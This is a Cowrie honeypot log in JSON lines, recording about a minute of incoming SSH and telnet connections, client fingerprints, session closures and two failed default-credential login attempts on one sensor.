{"eventid":"cowrie.session.connect","src_ip":"78.134.49.171","src_port":52834,"dst_ip":"159.203.135.109","dst_port":22,"session":"a92588e52c7d","protocol":"ssh","message":"New connection: 78.134.49.171:52834 (159.203.135.109:22) [session: a92588e52c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:50.184865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:50.188890Z","src_ip":"78.134.49.171","session":"a92588e52c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:50.297437Z","src_ip":"78.134.49.171","session":"a92588e52c7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeradmin","password":"admin","message":"login attempt [dockeradmin/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:50.753791Z","src_ip":"78.134.49.171","session":"a92588e52c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58052,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d94d62dca47","protocol":"telnet","message":"New connection: 213.171.199.40:58052 (159.203.135.109:23) [session: 5d94d62dca47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:51.374798Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":60880,"dst_ip":"10.17.0.5","dst_port":23,"session":"81b5b1c06e66","protocol":"telnet","message":"New connection: 45.63.42.31:60880 (10.17.0.5:23) [session: 81b5b1c06e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:51.405812Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:51.865404Z","src_ip":"78.134.49.171","session":"a92588e52c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":60284,"dst_ip":"159.203.135.109","dst_port":23,"session":"d329296c5c30","protocol":"telnet","message":"New connection: 213.171.199.40:60284 (159.203.135.109:23) [session: d329296c5c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:52.115208Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":34272,"dst_ip":"10.17.0.5","dst_port":23,"session":"70f8498d386f","protocol":"telnet","message":"New connection: 45.63.42.31:34272 (10.17.0.5:23) [session: 70f8498d386f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:52.209037Z"}
{"eventid":"cowrie.session.closed","duration":30.143635272979736,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:55.066667Z","src_ip":"213.171.199.40","session":"746e5c2825e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.32.221.185","src_port":42550,"dst_ip":"10.17.0.5","dst_port":23,"session":"129979dc9e17","protocol":"telnet","message":"New connection: 102.32.221.185:42550 (10.17.0.5:23) [session: 129979dc9e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:55.539751Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44492,"dst_ip":"159.203.135.109","dst_port":23,"session":"3459903b0f43","protocol":"telnet","message":"New connection: 213.171.199.40:44492 (159.203.135.109:23) [session: 3459903b0f43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:55.984314Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":39754,"dst_ip":"10.17.0.5","dst_port":23,"session":"6aef5388ba43","protocol":"telnet","message":"New connection: 45.63.42.31:39754 (10.17.0.5:23) [session: 6aef5388ba43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:56.002534Z"}
{"eventid":"cowrie.session.closed","duration":30.377220392227173,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:59.112434Z","src_ip":"213.171.199.40","session":"3f997a27dcb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.363420724868774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:28:59.304189Z","src_ip":"213.171.199.40","session":"dd76fc0940ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389405965805054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:00.043883Z","src_ip":"213.171.199.40","session":"881c6028d47f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":60860,"dst_ip":"159.203.135.109","dst_port":23,"session":"16bc66bb3f24","protocol":"telnet","message":"New connection: 213.171.199.40:60860 (159.203.135.109:23) [session: 16bc66bb3f24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:00.844002Z"}
{"eventid":"cowrie.session.closed","duration":31.450123071670532,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:02.806431Z","src_ip":"213.171.199.40","session":"cc152f454122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71215558052063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:03.452699Z","src_ip":"213.171.199.40","session":"0cf75429213f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17668437957764,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:04.424662Z","src_ip":"45.63.42.31","session":"4d1f58e419eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":44572,"dst_ip":"159.203.135.109","dst_port":23,"session":"362572da2b55","protocol":"telnet","message":"New connection: 213.171.199.40:44572 (159.203.135.109:23) [session: 362572da2b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:04.432812Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46890,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbf125636694","protocol":"telnet","message":"New connection: 213.171.199.40:46890 (159.203.135.109:23) [session: fbf125636694]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:05.123688Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":34550,"dst_ip":"10.17.0.5","dst_port":23,"session":"aaccdfd69a1a","protocol":"telnet","message":"New connection: 103.115.172.252:34550 (10.17.0.5:23) [session: aaccdfd69a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:06.232574Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.173.55.151","src_port":34130,"dst_ip":"10.17.0.5","dst_port":22,"session":"537801ea1583","protocol":"ssh","message":"New connection: 107.173.55.151:34130 (10.17.0.5:22) [session: 537801ea1583]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:07.185095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:07.193616Z","src_ip":"107.173.55.151","session":"537801ea1583","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:07.212117Z","src_ip":"107.173.55.151","session":"537801ea1583","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dbuser","message":"login attempt [root/dbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:07.315302Z","src_ip":"107.173.55.151","session":"537801ea1583","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":54332,"dst_ip":"159.203.135.109","dst_port":23,"session":"d94fb625afd3","protocol":"telnet","message":"New connection: 213.171.199.40:54332 (159.203.135.109:23) [session: d94fb625afd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:07.320562Z"}
{"eventid":"cowrie.session.closed","duration":30.669978857040405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:08.262897Z","src_ip":"213.171.199.40","session":"e6fc9309a415","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:08.335736Z","src_ip":"107.173.55.151","session":"537801ea1583","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.084852695465088,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:08.624502Z","src_ip":"102.32.221.185","session":"129979dc9e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":60582,"dst_ip":"159.203.135.109","dst_port":23,"session":"14b9d03e90b5","protocol":"telnet","message":"New connection: 213.171.199.40:60582 (159.203.135.109:23) [session: 14b9d03e90b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:09.128222Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":34208,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6bddfc563b4","protocol":"telnet","message":"New connection: 213.171.199.40:34208 (159.203.135.109:23) [session: c6bddfc563b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:09.628671Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36884,"dst_ip":"159.203.135.109","dst_port":23,"session":"72c223026429","protocol":"telnet","message":"New connection: 213.171.199.40:36884 (159.203.135.109:23) [session: 72c223026429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:10.486020Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":39060,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ab82514a0e6","protocol":"telnet","message":"New connection: 213.171.199.40:39060 (159.203.135.109:23) [session: 3ab82514a0e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:12.096496Z"}
{"eventid":"cowrie.session.closed","duration":30.730131149291992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:13.105898Z","src_ip":"213.171.199.40","session":"dfbffd1768ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49398,"dst_ip":"159.203.135.109","dst_port":23,"session":"e04437c32d6f","protocol":"telnet","message":"New connection: 213.171.199.40:49398 (159.203.135.109:23) [session: e04437c32d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:14.047029Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":38106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bbd000762d7","protocol":"telnet","message":"New connection: 103.115.172.252:38106 (10.17.0.5:23) [session: 4bbd000762d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:16.575391Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58102,"dst_ip":"159.203.135.109","dst_port":23,"session":"c5510a80996e","protocol":"telnet","message":"New connection: 213.171.199.40:58102 (159.203.135.109:23) [session: c5510a80996e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:17.008526Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":58902,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a069621733e","protocol":"telnet","message":"New connection: 213.171.199.40:58902 (159.203.135.109:23) [session: 4a069621733e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:17.212573Z"}
{"eventid":"cowrie.session.closed","duration":36.3638072013855,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:18.034636Z","src_ip":"45.63.42.31","session":"69ea91c45142","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.212904691696167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:18.179081Z","src_ip":"213.171.199.40","session":"e9a9afad99b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":56792,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e08331a87d8","protocol":"telnet","message":"New connection: 45.63.42.31:56792 (10.17.0.5:23) [session: 8e08331a87d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:18.287137Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36122,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6157a0212f1","protocol":"telnet","message":"New connection: 213.171.199.40:36122 (159.203.135.109:23) [session: d6157a0212f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:18.793536Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36236,"dst_ip":"159.203.135.109","dst_port":23,"session":"36a8ed64cda9","protocol":"telnet","message":"New connection: 213.171.199.40:36236 (159.203.135.109:23) [session: 36a8ed64cda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:18.866746Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":58164,"dst_ip":"10.17.0.5","dst_port":23,"session":"8496eed390c2","protocol":"telnet","message":"New connection: 45.63.42.31:58164 (10.17.0.5:23) [session: 8496eed390c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:18.965238Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":35004,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed8708ca2fc","protocol":"telnet","message":"New connection: 45.63.42.31:35004 (10.17.0.5:23) [session: bed8708ca2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:21.508220Z"}
{"eventid":"cowrie.session.closed","duration":30.914016246795654,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:22.288702Z","src_ip":"213.171.199.40","session":"5d94d62dca47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93078303337097,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:23.045891Z","src_ip":"213.171.199.40","session":"d329296c5c30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":51956,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0997b1f3324","protocol":"telnet","message":"New connection: 213.171.199.40:51956 (159.203.135.109:23) [session: c0997b1f3324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:23.648735Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55162,"dst_ip":"159.203.135.109","dst_port":23,"session":"741396777fe9","protocol":"telnet","message":"New connection: 213.171.199.40:55162 (159.203.135.109:23) [session: 741396777fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:24.623978Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":55810,"dst_ip":"159.203.135.109","dst_port":23,"session":"982db1ab1740","protocol":"telnet","message":"New connection: 213.171.199.40:55810 (159.203.135.109:23) [session: 982db1ab1740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:24.830203Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":56526,"dst_ip":"159.203.135.109","dst_port":23,"session":"140dccc91205","protocol":"telnet","message":"New connection: 213.171.199.40:56526 (159.203.135.109:23) [session: 140dccc91205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:25.087600Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":59016,"dst_ip":"159.203.135.109","dst_port":23,"session":"666ff55324ce","protocol":"telnet","message":"New connection: 213.171.199.40:59016 (159.203.135.109:23) [session: 666ff55324ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:25.883151Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.42.31","src_port":43714,"dst_ip":"10.17.0.5","dst_port":23,"session":"030a00ebd52e","protocol":"telnet","message":"New connection: 45.63.42.31:43714 (10.17.0.5:23) [session: 030a00ebd52e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:26.131158Z"}
{"eventid":"cowrie.session.closed","duration":35.57665967941284,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:26.982369Z","src_ip":"45.63.42.31","session":"81b5b1c06e66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088459730148315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:27.072471Z","src_ip":"213.171.199.40","session":"3459903b0f43","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":35340,"dst_ip":"159.203.135.109","dst_port":23,"session":"55a2cccbe2a0","protocol":"telnet","message":"New connection: 213.171.199.40:35340 (159.203.135.109:23) [session: 55a2cccbe2a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:27.348544Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":36534,"dst_ip":"159.203.135.109","dst_port":23,"session":"73aa207b3c50","protocol":"telnet","message":"New connection: 213.171.199.40:36534 (159.203.135.109:23) [session: 73aa207b3c50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:27.757118Z"}
{"eventid":"cowrie.session.closed","duration":35.897465467453,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:28.106387Z","src_ip":"45.63.42.31","session":"70f8498d386f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":40842,"dst_ip":"159.203.135.109","dst_port":23,"session":"43eb69c2217c","protocol":"telnet","message":"New connection: 213.171.199.40:40842 (159.203.135.109:23) [session: 43eb69c2217c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:29.202514Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":46058,"dst_ip":"159.203.135.109","dst_port":23,"session":"563f3b0ec8ef","protocol":"telnet","message":"New connection: 213.171.199.40:46058 (159.203.135.109:23) [session: 563f3b0ec8ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:30.824214Z"}
{"eventid":"cowrie.session.closed","duration":30.19722580909729,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:31.040958Z","src_ip":"213.171.199.40","session":"16bc66bb3f24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.442009687423706,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:33.444344Z","src_ip":"45.63.42.31","session":"6aef5388ba43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60683584213257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:35.039468Z","src_ip":"213.171.199.40","session":"362572da2b55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":33600,"dst_ip":"159.203.135.109","dst_port":23,"session":"366d30ee949f","protocol":"telnet","message":"New connection: 213.171.199.40:33600 (159.203.135.109:23) [session: 366d30ee949f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:35.813849Z"}
{"eventid":"cowrie.session.closed","duration":30.951483726501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:36.075058Z","src_ip":"213.171.199.40","session":"fbf125636694","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.760863542556763,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:38.081348Z","src_ip":"213.171.199.40","session":"d94fb625afd3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.49494767189026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:40.123511Z","src_ip":"213.171.199.40","session":"c6bddfc563b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.407023191452026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:40.534866Z","src_ip":"213.171.199.40","session":"14b9d03e90b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.171.199.40","src_port":49528,"dst_ip":"159.203.135.109","dst_port":23,"session":"f15fdba304e9","protocol":"telnet","message":"New connection: 213.171.199.40:49528 (159.203.135.109:23) [session: f15fdba304e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T17:29:40.705409Z"}
